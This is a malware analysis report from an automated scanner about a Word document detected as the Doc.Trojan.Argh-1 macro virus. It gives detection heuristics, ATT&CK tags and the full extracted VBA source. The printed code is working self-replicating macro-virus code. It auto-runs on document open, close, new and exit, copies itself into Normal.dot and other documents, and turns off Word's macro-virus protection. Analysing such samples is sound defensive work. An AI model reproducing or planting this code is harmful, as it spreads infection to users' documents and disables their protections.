MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as a legacy WordBasic macro virus, indicated by high-severity heuristics and ClamAV detection. The presence of AutoOpen and Auto_Close macros suggests an attempt to execute malicious code upon document opening and closing. The VBA script, though truncated, contains functions for replication and infection, pointing towards a self-propagating malware.
Heuristics 6
-
ClamAV: Doc.Trojan.Argh-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Argh-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Application.OrganizerCopy Source:= _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4418 bytes |
SHA-256: fb28137c67ecd61b9d8ec86a9e1b3a0db274b0257fddaf544e3ab74e969b656a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub infect(m)
Attribute infect.VB_Description = "Macro created 01/19/98 by chandana"
Attribute infect.VB_ProcData.VB_Invoke_Func = "TemplateProject.NewMacros.infect"
Application.DisplayAlerts = wdAlertsNone
d = Assistant.Animation
Assistant.Animation = msoAnimationGetTechy
getnormal (1)
Assistant.Animation = d
End Sub
Sub deletenormal(m)
Attribute deletenormal.VB_Description = "Macro recorded 01/23/98 by chandana"
Attribute deletenormal.VB_ProcData.VB_Invoke_Func = "TemplateProject.NewMacros.copymacrotonormaldot"
On Error GoTo e
Application.OrganizerRename Source:= _
NormalTemplate.FullName, name:= _
"NewMacros", NewName:="oldNewMacros", Object:= _
wdOrganizerObjectProjectItems
e:
End Sub
Sub copymacro(m)
Attribute copymacro.VB_Description = "Macro recorded 01/23/98 by chandana"
Attribute copymacro.VB_ProcData.VB_Invoke_Func = "TemplateProject.NewMacros.copymacro"
On Error GoTo eco
Application.OrganizerCopy Source:= _
ActiveDocument.FullName, Destination:= _
NormalTemplate.FullName, name:= _
"NewMacros", Object:=wdOrganizerObjectProjectItems
eco:
End Sub
Sub replicate(m)
Attribute replicate.VB_Description = "Macro recorded 01/23/98 by chandana"
Attribute replicate.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.repl"
If Int((50 * Rnd) + 1) = 25 Then
Set a = Assistant.NewBalloon
a.Heading = "Help me"
a.Text = "I'm not feeling very vell .. AAARGHH!!!"
a.Show
End If
On Error GoTo re
With ActiveDocument
.AttachedTemplate = "Normal.dot"
End With
Application.OrganizerCopy Source:= _
NormalTemplate.FullName, Destination:= _
ActiveDocument.FullName, name:="NewMacros", _
Object:=wdOrganizerObjectProjectItems
re:
End Sub
Sub AutoNew()
infect (1)
replicate (1)
runmacro ("AutoNew")
End Sub
Sub AutoClose()
infect (1)
replicate (1)
runmacro ("AutoClose")
End Sub
Sub autoopen()
infect (1)
replicate (1)
runmacro ("autoopen")
End Sub
Sub AutoExit()
infect (1)
replicate (1)
runmacro ("AutoExit")
End Sub
Sub restoreoriginal(m)
Attribute restoreoriginal.VB_Description = "Macro recorded 01/28/98 by chandana"
Attribute restoreoriginal.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.restoreoriginal"
On Error GoTo rr1:
Application.OrganizerDelete Source:= _
NormalTemplate.FullName, name:= _
"NewMacros", Object:=wdOrganizerObjectProjectItems
rr1:
On Error GoTo rro:
Application.OrganizerRename Source:= _
NormalTemplate.FullName, name:= _
"oldNewMacros", NewName:="NewMacros", Object:= _
wdOrganizerObjectProjectItems
rro:
End Sub
Sub recopy(m)
On Error GoTo eco
reren (1)
Application.OrganizerCopy Source:= _
Options.DefaultFilePath(wdProgramPath) + Application.PathSeparator + "wininf.dll", Destination:= _
NormalTemplate.FullName, name:= _
"NewMacros", Object:=wdOrganizerObjectProjectItems
eco:
End Sub
Sub reren(m)
On Error GoTo rre
Application.OrganizerRename Source:= _
NormalTemplate.FullName, name:= _
"NewMacros", NewName:="oldNewMacros", Object:= _
wdOrganizerObjectProjectItems
rre:
End Sub
Sub getnormal(m)
virusflag = System.PrivateProfileString("prncfg.ini", "Printer Port", "PortNumber")
Options.VirusProtection = False
If virusflag = "" Then
System.PrivateProfileString("prncfg.ini", "Printer Port", "PortNumber") = "340"
NormalTemplate.OpenAsDocument 'save normal.dot to windot.dll
ActiveDocument.SaveAs FileName:=Options.DefaultFilePath(wdProgramPath) + Application.PathSeparator + "windot.dll"
ActiveDocument.Close
deletenormal (1)
copymacro (1)
NormalTemplate.OpenAsDocument
ActiveDocument.SaveAs FileName:=Options.DefaultFilePath(wdProgramPath) + Application.PathSeparator + "wininf.dll" 'save infected dot
ActiveDocument.Close
End If
End Sub
Sub runmacro(m)
On Error GoTo rme
Application.Run "Normal.oldNewMacros." + m
rme:
End Sub
Sub stealth()
ToolsMacro
MsgBox "stealth"
End
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.